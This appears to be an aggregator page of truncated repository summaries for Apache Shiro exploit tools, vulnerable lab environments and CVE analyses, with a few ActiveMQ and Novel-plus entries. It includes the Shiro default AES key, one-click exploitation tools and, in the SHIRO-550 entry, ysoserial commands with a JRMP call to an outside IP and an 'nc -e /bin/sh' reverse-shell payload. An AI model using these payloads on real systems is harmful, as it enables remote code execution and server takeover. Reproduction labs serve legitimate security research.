Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell with Ice Scorpion root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder;...

CVE-2016-4437

shiro-1.2.4 Vulnerability Tool Decrypt rememberMe value and export corresponding class file Usage xk-mt-rememberMe解码.py Instructions: After running, first enter the key or press Enter to use the default key 'kPH+bIxk5D2deZiIxcaaaA==', then enter the rememberMe value from the request packet. After...

WebLogic-Shiro-shell

Java Deserialization Technology Sharing This sharing covers the following points: 1. Java Serialization and Deserialization Basics 2. Why do vulnerabilities occur during deserialization? 3. Java Reflection 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader: Several methods...

CVE-2024-4956

CVE-2024-4956 Este repositorio contiene una utilidad en Python para automatizar la explotación de CVE-2024-4956 y permite realizar pruebas masivas de rutas de archivos desde un archivo de entrada, automatizando el proceso de guardar el contenido de las rutas de archivos existentes en disco para s...

ShiroScan

ShiroScan Shiro=1.2.4 deserialization, one-click detection tool root@kitploit: 改动内容：1.新增4个利用链模块CommonsCollections7-10，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换 改动内容：2.增加多线程，虽模块增加但速度却提高300% root@kitploit: 集成21个key进行fuzz If it helps, please give a star. Corresponding blog article:...

Awesome_shiro

Awesome-shiro CVE-2016-4437 Shiro Base64 decode -- AES decrypt -- Deserialize Environment Works on both linux/win10 Works on both python2/python3 Since the module directory contains ysoserial.jar, the project is a bit large. Please bear with us. Local Target Setup...

shiro-cve-2020-17523

Apache Shiro Two Postures Authentication Bypass Analysis CVE-2020-17523 0x01 Vulnerability Description Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro's easy-to-understand API, you can...

RuoYI-4.2-Shiro-721-Docker-PoC

RuoYI 4.2 Shiro 1.4.1 Shiro-721 Entorno de reproducción de la vulnerabilidad Se utiliza para reproducir la vulnerabilidad Shiro-721 CVE-2019-12422 en RuoYI. Aviso: Este servicio contiene vulnerabilidades graves , solo para fines de reproducción de vulnerabilidades, no lo utilice en producción...

CVE-2020-13933

Campo de tiro CVE-2020-13933 Vulnerabilidad de omisión de autenticación en shiro 1.6.0 PoC http://127.0.0.1:8080/res/%3bpoc Entorno del campo de tiro Descripción del código ShiroConfig.java: Configuración de permisos: cuando se solicita el recurso /res/, redirige 302 a la página de inicio de sesi...

apache__shiro_CVE-2023-34478_1-11-0

Apache Shiro Apache Shiro es un marco de seguridad de Java potente y fácil de usar que realiza autenticación, autorización, criptografía y gestión de sesiones. Con la API fácil de entender de Shiro, puede asegurar rápida y fácilmente cualquier aplicación, desde las aplicaciones móviles más pequeñ...

shiro-CVE-2020-11989

Este repositorio no tiene un README...

ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Español CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit Explotación sin necesidad de salida de red Admite ejecución con JDK 1.8 Determina automáticamente si la versión de destino está dentro del rango de vulnerabilidad Admite explotación sin salida de red configurando shiro...

Shiro-basic

Shiro-basic This is a simple Shiro-basic project .Just for pentest env...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 Introduction: The RememberMe cookie is encrypted using AES-128-CBC mode, which is vulnerable to padding oracle attacks. An attacker can use a valid RememberMe cookie as a prefix for a Padding Oracle Attack, and then craft a malicious...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

shiro-cve-2010-3863

Apache Shiro Path Traversal CVE-2010-3863 Vulnerability Reproduction Local environment setup with Docker Open Yakit to capture packets Payload: /./admin/ Successful...

Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability

Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter. id: CVE-2016-4437 info: name: Apache Shiro 1.2.4 Cookie RememberME -...

CVE-2022-32532

CVE-2022-32532 about This is a demo project, which only shows one of the conditions for exploiting this vulnerability CVE-2022-32532. In fact, there are more ways to exploit it, as long as developers use RegExPatternMatcher, there will be a possible bypass vulnerability. introduce Token request...

cve-2020-13933

cve-2020-13933 cve-2020-13933 vulnerabilidad de omisión de autenticación de Apache Shiro Esta reproducción es muy simple, primero configurar el entorno con IDEA+shiro Referencia: https://www.cnblogs.com/ph4nt0mer/p/13535999.html Luego ejecutar, acceder, capturar el tráfico...

CVE-2021-34045

Information Exploit Title：Novel-plus-install-v3.5.3-Druid Unauthorized access Exploit date：01.06.2021 Exploit Author：Al1ex@Heptagram Vendor Homepage：https://github.com/201206030/novel-plus Affect Version：novel-plus-install-v3.5.3 Description：Novell plus system carries Druid component, and the...